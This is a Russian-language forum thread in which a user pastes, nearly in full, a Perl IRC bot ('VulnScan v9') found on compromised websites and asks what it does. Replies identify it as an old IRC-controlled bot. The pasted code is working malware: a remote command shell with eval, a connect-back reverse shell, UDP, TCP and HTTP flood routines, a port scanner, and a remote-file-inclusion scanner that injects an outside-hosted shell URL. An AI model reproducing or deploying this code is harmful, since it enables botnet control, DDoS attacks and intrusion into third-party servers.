Постоянно попадается скрипт на взломанных сайтах

Вопрос таккой постоянно на взломаных сайта попадается вот такой скрипт можно узнать для чего он нужен и как с ним работать ? скрипт немного недоконца потомму что невлазиет в страницу


#!/usr/bin/perl
# VulnScan v9 edited by PcWoRm ( this is Morgan v8 with some changes )
#
# U can see and test it in channel: #AOD
#
# Note:
# Do what u wana,there is no copyrights =)
#
# New functions :
# New l33t colors
# Fixed Google
#
# Scan command :
# NickOfbot !eval @gstring='inurl:flashchat';
# NickOfbot @rfiscan 120 /inc/cmses/aedatingCMS.php?dir[inc]=
#
# DDoS commands :
# Udp : NickOfbot @udpflood IP packet-size time
# Tcp : NickOfbot @tcpflood IP port time
# Http: NickOfbot @httpflood www.website.com time
#
# Greets to :
#
# All +ao #morgan members in irc.gigachat.net
# who ~censored~ the channel =)
#
#

use HTTP::Request;
use LWP::UserAgent;

################ V9 CONFIGURATION #############################################################
#my $processo = '/usr/sbin/asc'; # Fake process name for the #bot #
#if (`ps uxw` =~ /v9-Final/) # (CHANGE #IT!!!) #
#{ # #
#exit; # #
#} # #
##############################################################################################
my $linas_max='90'; # Avoid Flood #
###############################################################################################
my $sleep='5'; # sleep time #
##################### IRC #####################################################################
my @adms=("Cr1T1c4L"); # Administrator Nickname #
###############################################################################################
my @canais=("#botting"); # Channel ..if password -> ("#channel ass") #
###############################################################################################
my $nick='CritBot'; # Nick prefix of the bot example : #
# vs[v7] = vs[v7]-718727 #
###############################################################################################
my $ircname = 'CritBot'; # Identd of the bot #
###############################################################################################
chop (my $realname = 'XDCC BOT'); # Full Name #
###############################################################################################
$servidor='irc.zerofuzion.net' unless $servidor; # Server IRC of the bot #
###############################################################################################
my $porta='6663'; # Server PORT #
################ CMD ##########################################################################
my @cmdgif='http://mehdi.by.ru/shell/cmd.gif'; #
# If you change this cmd must be same as: #
# # http://myspace.si/images/sad.gif #
###############################################################################################

my $VERSAO = 'v9';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);


our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
#######################################################
# #
# Dont change nothing if u dont know what u do! #
# #
#######################################################

sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];

my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;

$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);

$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);

for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}

sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
}
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!full)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
}
elsif ($servarg =~ /^\.+?)\!(.+?)\@(.+?)\s+NICK\s+\\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\.+?)\s+433/i) {
nick("$meunick|".int rand(999999));
} elsif ($servarg =~ m/^\.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
sendraw("JOIN $canal ddosit");
}
}
}

#######################################################
# #
# Dont change nothing if u dont know what u do! #
# #
#######################################################
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my @portas=("21","22","23","25","59","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
my (@aberta, %porta_banner);
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2PortScan15) 15(2IP7:12 ".$1." 15) 15(2Status7: 12Searching for Open Ports15)");
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}

if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2PortScan15) 15(2Concluido15) 15(2Open Ports7:12 @aberta 15)");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :15(7@2PortScan15) 15(2Concluido15) 15(2No open ports found15)");
}
}
if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP Flood15) 15(2Started15) (2IP7:12 ".$1." 2Porta7:12 ".$2." 2Tempo7:12 ".$3." 2segundos15)");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($3>$cur_time){
$cur_time = time - $itime;
&tcpflooder("$1","$2","$3");
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP Flood15) 15(2Finished15) (2IP7:12 ".$1." 2Porta7:12 ".$2." 15)");
}
if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Versao15) 12Vulnscan 2v87 ");
}

if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $porta = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
close(STDIN);
close(STDOUT);
close(STDERR);

if ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2ConnectBack15) 15(2Connecting15) (2IP7/2Port7:12 $host:$porta 15)");
}
}
#SCANNER
if ($funcarg =~ /^rfiscan\s+(\d+)\s+(.*)/) {
$boturl=$2;
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Scan15) (2Started15) (2Searching for7:12 ".$boturl." 2Time7:12 ".$1." 2seconds15)");
srand;
my $itime = time;
my ($cur_time);
my ($exploited);
$boturl=$2;
$cur_time = time - $itime;$exploited = 0;
while($1>$cur_time){
$cur_time = time - $itime;
@urls=fetch();
foreach $url (@urls) {
$cur_time = time - $itime;
sendraw($IRC_cur_socket, "PRIVMSG #debug :15(7@2Scan15) 15(2Exploiting7:12 ".$url2." 15)");
my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
$url2 ="http://".$path."/".$boturl."@cmdgif?";
print "\n".$url2."\n\n";


#######################################################
# #
# Dont change nothing if u dont know what u do! #
# #
#######################################################

my $req=HTTP::Request->new(GET=>$url2);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);
my $response=$ua->request($req);

if ($response->is_success) {
if( $response->content =~ /By/ && $response->content =~ /Morgan/ ){
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Vulnerable15) 15(2Vuln7:12 ".$url2." 15)");
}
}
else {
}
}
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Scan15) 15(2Finished15) (2Scan Finished7:12 ".$1." 2seconds15)");
}
if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP Flood15) (2Started15) (2Victim7:12 ".$1."7:1280 2Time7:12 ".$2." 2seconds15)");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($2>$cur_time){
$cur_time = time - $itime;
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
close($socket);
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP Flood15) (2Finished15) 15(2Victim7:12 ".$1."15)");
}
if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP Flood15) 15(2Started15) (2Victim7:12 ".$1." 2Size7:12 ".$2." 7KB 2Time7:12 ".$3." 2seconds15)");
my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP Flood15) 15(2Finished15) 15(2Sent7:12 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 7KB 2in12 ".$dtime." 2seconds15) (2Victim7:12 ".$1."15)");
}
exit;
}
}
}
#######################################################
# #
# Dont change nothing if u dont know what u do! #
# #
#######################################################
sub ircase {
my ($kem, $printl, $case) = @_;

if ($case =~ /^join (.*)/) {
j("$1");
}
if ($case =~ /^part (.*)/) {
p("$1");
}
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
if ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
if ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
if ($case =~ /^nick (.*)/) {
nick("$1");
}
if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
if ($case =~ /^raw (.*)/) {
sendraw("$1");
}
if ($case =~ /^eval (.*)/) {
eval "$1";
}
}
#######################################################
# #
# Dont change nothing if u dont know what u do! #
# #
##################################################################
# This is part for shell if u wana to be active just remove "#" #
##################################################################
sub shell {
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "15(7@2INFO15) (2No souch file/directory15)");
return;
}
elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c == "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
#######################################################
# #
# Dont change nothing if u dont know what u do! #
# #
#######################################################
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname('tcp');
$j=0;$l=0;
$cur_time = time - $itime;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j--;
$j++;$l++;
}
$l=0;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
shutdown($t,2);
$l++;
}
}
#######################################################
# #
# Dont change nothing if u dont know what u do! #
# #
#######################################################
sub udpflooder {
my $iaddr = inet_aton($_[0]);
my $msg = 'A' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;

socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1; $porta <= 65000; $porta++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

 

Походу ирц-бот

 

а для чего их на сайты ставят как им управлять то?

 

используют сайт как шелл

никогда с этим не сталкивался, но походу тоже из ирц

 

Какой - то сканер управляемый через Irc.

 

а почему встречаются вот такие сторки


sendraw($IRC_cur_socket,"PRIVMSG $printl :15(7@2PortScan15) 15(2Concluido15) 15(2No open ports

 

Тоже возможно- название такое паливное - Vulnscan v9
http://www.darkc0de.com/c0de/perl/vulnscan.txt
Антивирус кричит...

 

лол это древнейший примитивный бот управляемый через ирц

 

лол то лол просто как бы с ним неработал да и думаю нестану работать
пасибо тему можно закрыть

 

причом бот с возможностью сканирования CMS на php иньекции и с возможностью ddos атаки

только вот мне кажется он не очень рабочий